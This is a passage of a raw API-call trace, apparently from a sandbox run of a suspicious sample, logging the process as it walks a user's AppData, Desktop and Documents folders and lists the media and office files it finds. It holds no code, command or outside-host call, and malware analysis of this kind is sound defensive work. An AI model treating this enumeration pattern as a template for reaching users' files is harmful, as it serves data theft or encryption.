ftLastWriteTime.dwLowDateTime=0x91dd0a60, ftLastWriteTime.dwHighDateTime=0x1d4d1e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fe4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pea4H1Vnl0zHM1NrtA.avi", cAlternateFileName="PEA4H1~1.AVI")) returned 1 [0066.657] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65c274c0, ftCreationTime.dwHighDateTime=0x1d4c5a7, ftLastAccessTime.dwLowDateTime=0x91dd0a60, ftLastAccessTime.dwHighDateTime=0x1d4d1e7, ftLastWriteTime.dwLowDateTime=0x91dd0a60, ftLastWriteTime.dwHighDateTime=0x1d4d1e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fe4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pea4H1Vnl0zHM1NrtA.avi", cAlternateFileName="PEA4H1~1.AVI")) returned 0 [0066.657] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325dde8 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d5a8 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e1b0 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d918 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cb88 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d0d0 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d138 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e050 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d1a0 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3255580 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d208 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32555d8 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3255630 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d270 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3255688 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d2d8 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32556e0 | out: hHeap=0x5d0000) returned 1 [0066.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3255738 | out: hHeap=0x5d0000) returned 1 [0066.658] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0066.658] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0066.658] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d868 | out: hHeap=0x5d0000) returned 1 [0066.658] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328dbb8 | out: hHeap=0x5d0000) returned 1 [0066.658] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.658] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.658] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0066.658] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0066.658] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.658] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.658] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.658] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.658] PathFindFileNameW (pszPath="") returned="" [0066.658] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.658] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31757d8 | out: hHeap=0x5d0000) returned 1 [0066.658] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.658] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0066.658] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0066.658] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0066.658] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0066.658] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.659] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.659] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0066.659] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.659] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.659] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\") returned="xLckuuDeKXG\\" [0066.659] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0066.659] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.659] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.659] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.659] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.659] PathFindFileNameW (pszPath="") returned="" [0066.659] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa860f710, ftCreationTime.dwHighDateTime=0x1d4cc1a, ftLastAccessTime.dwLowDateTime=0x9885d7d0, ftLastAccessTime.dwHighDateTime=0x1d4ce9e, ftLastWriteTime.dwLowDateTime=0x9885d7d0, ftLastWriteTime.dwHighDateTime=0x1d4ce9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.659] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175850 | out: hHeap=0x5d0000) returned 1 [0066.659] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa860f710, ftCreationTime.dwHighDateTime=0x1d4cc1a, ftLastAccessTime.dwLowDateTime=0x9885d7d0, ftLastAccessTime.dwHighDateTime=0x1d4ce9e, ftLastWriteTime.dwLowDateTime=0x9885d7d0, ftLastWriteTime.dwHighDateTime=0x1d4ce9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.659] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c1a2ed0, ftCreationTime.dwHighDateTime=0x1d4c7d1, ftLastAccessTime.dwLowDateTime=0xaf358200, ftLastAccessTime.dwHighDateTime=0x1d4cc4b, ftLastWriteTime.dwLowDateTime=0xaf358200, ftLastWriteTime.dwHighDateTime=0x1d4cc4b, nFileSizeHigh=0x0, nFileSizeLow=0x12441, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cU4HnKjcRa.mp4", cAlternateFileName="CU4HNK~1.MP4")) returned 1 [0066.659] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1379c380, ftCreationTime.dwHighDateTime=0x1d4d51a, ftLastAccessTime.dwLowDateTime=0x8fa0a410, ftLastAccessTime.dwHighDateTime=0x1d4cbf6, ftLastWriteTime.dwLowDateTime=0x8fa0a410, ftLastWriteTime.dwHighDateTime=0x1d4cbf6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K_xyj0OLm", cAlternateFileName="K_XYJ0~1")) returned 1 [0066.659] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d4d40, ftCreationTime.dwHighDateTime=0x1d4c611, ftLastAccessTime.dwLowDateTime=0x69f1d560, ftLastAccessTime.dwHighDateTime=0x1d4c9bf, ftLastWriteTime.dwLowDateTime=0x69f1d560, ftLastWriteTime.dwHighDateTime=0x1d4c9bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Q3tTjFbyLkyl", cAlternateFileName="Q3TTJF~1")) returned 1 [0066.659] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f2d8dc0, ftCreationTime.dwHighDateTime=0x1d4cecc, ftLastAccessTime.dwLowDateTime=0x406c3c00, ftLastAccessTime.dwHighDateTime=0x1d4c8c3, ftLastWriteTime.dwLowDateTime=0x406c3c00, ftLastWriteTime.dwHighDateTime=0x1d4c8c3, nFileSizeHigh=0x0, nFileSizeLow=0x8d00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wn06NIgti1n58uLcV.pptx", cAlternateFileName="WN06NI~1.PPT")) returned 1 [0066.659] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a3fbd0, ftCreationTime.dwHighDateTime=0x1d4c6b6, ftLastAccessTime.dwLowDateTime=0xd048f470, ftLastAccessTime.dwHighDateTime=0x1d4d0e4, ftLastWriteTime.dwLowDateTime=0xd048f470, ftLastWriteTime.dwHighDateTime=0x1d4d0e4, nFileSizeHigh=0x0, nFileSizeLow=0x82fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_GY pjw8nLR.avi", cAlternateFileName="_GYPJW~1.AVI")) returned 1 [0066.659] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a3fbd0, ftCreationTime.dwHighDateTime=0x1d4c6b6, ftLastAccessTime.dwLowDateTime=0xd048f470, ftLastAccessTime.dwHighDateTime=0x1d4d0e4, ftLastWriteTime.dwLowDateTime=0xd048f470, ftLastWriteTime.dwHighDateTime=0x1d4d0e4, nFileSizeHigh=0x0, nFileSizeLow=0x82fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_GY pjw8nLR.avi", cAlternateFileName="_GYPJW~1.AVI")) returned 0 [0066.659] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.660] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.660] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31759b8 | out: hHeap=0x5d0000) returned 1 [0066.660] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.660] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0066.660] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0066.660] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.660] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.660] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.660] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.660] PathFindFileNameW (pszPath="") returned="" [0066.660] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a3fbd0, ftCreationTime.dwHighDateTime=0x1d4c6b6, ftLastAccessTime.dwLowDateTime=0xd048f470, ftLastAccessTime.dwHighDateTime=0x1d4d0e4, ftLastWriteTime.dwLowDateTime=0xd048f470, ftLastWriteTime.dwHighDateTime=0x1d4d0e4, nFileSizeHigh=0x0, nFileSizeLow=0x82fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_GY pjw8nLR.avi", cAlternateFileName="_GYPJW~1.AVI")) returned 0xffffffff [0066.660] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175850 | out: hHeap=0x5d0000) returned 1 [0066.660] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.660] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31759b8 | out: hHeap=0x5d0000) returned 1 [0066.660] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.660] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0066.660] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0066.660] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.660] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.660] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.660] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.661] PathFindFileNameW (pszPath="") returned="" [0066.661] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a3fbd0, ftCreationTime.dwHighDateTime=0x1d4c6b6, ftLastAccessTime.dwLowDateTime=0xd048f470, ftLastAccessTime.dwHighDateTime=0x1d4d0e4, ftLastWriteTime.dwLowDateTime=0xd048f470, ftLastWriteTime.dwHighDateTime=0x1d4d0e4, nFileSizeHigh=0x0, nFileSizeLow=0x82fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_GY pjw8nLR.avi", cAlternateFileName="_GYPJW~1.AVI")) returned 0xffffffff [0066.661] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175850 | out: hHeap=0x5d0000) returned 1 [0066.661] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.661] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31759b8 | out: hHeap=0x5d0000) returned 1 [0066.661] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.661] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0066.661] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0066.661] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.661] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.661] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.661] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.661] PathFindFileNameW (pszPath="") returned="" [0066.661] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.662] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175850 | out: hHeap=0x5d0000) returned 1 [0066.662] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.662] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.662] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0066.662] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0066.662] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0066.662] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.662] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.662] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31759b8 | out: hHeap=0x5d0000) returned 1 [0066.663] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.663] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0066.663] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0066.663] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.663] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.663] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.663] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.663] PathFindFileNameW (pszPath="") returned="" [0066.663] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0066.663] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175850 | out: hHeap=0x5d0000) returned 1 [0066.663] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.663] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31759b8 | out: hHeap=0x5d0000) returned 1 [0066.663] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.663] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0066.663] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0066.663] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.663] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.663] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.663] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.663] PathFindFileNameW (pszPath="") returned="" [0066.663] FindFirstFileW (in: 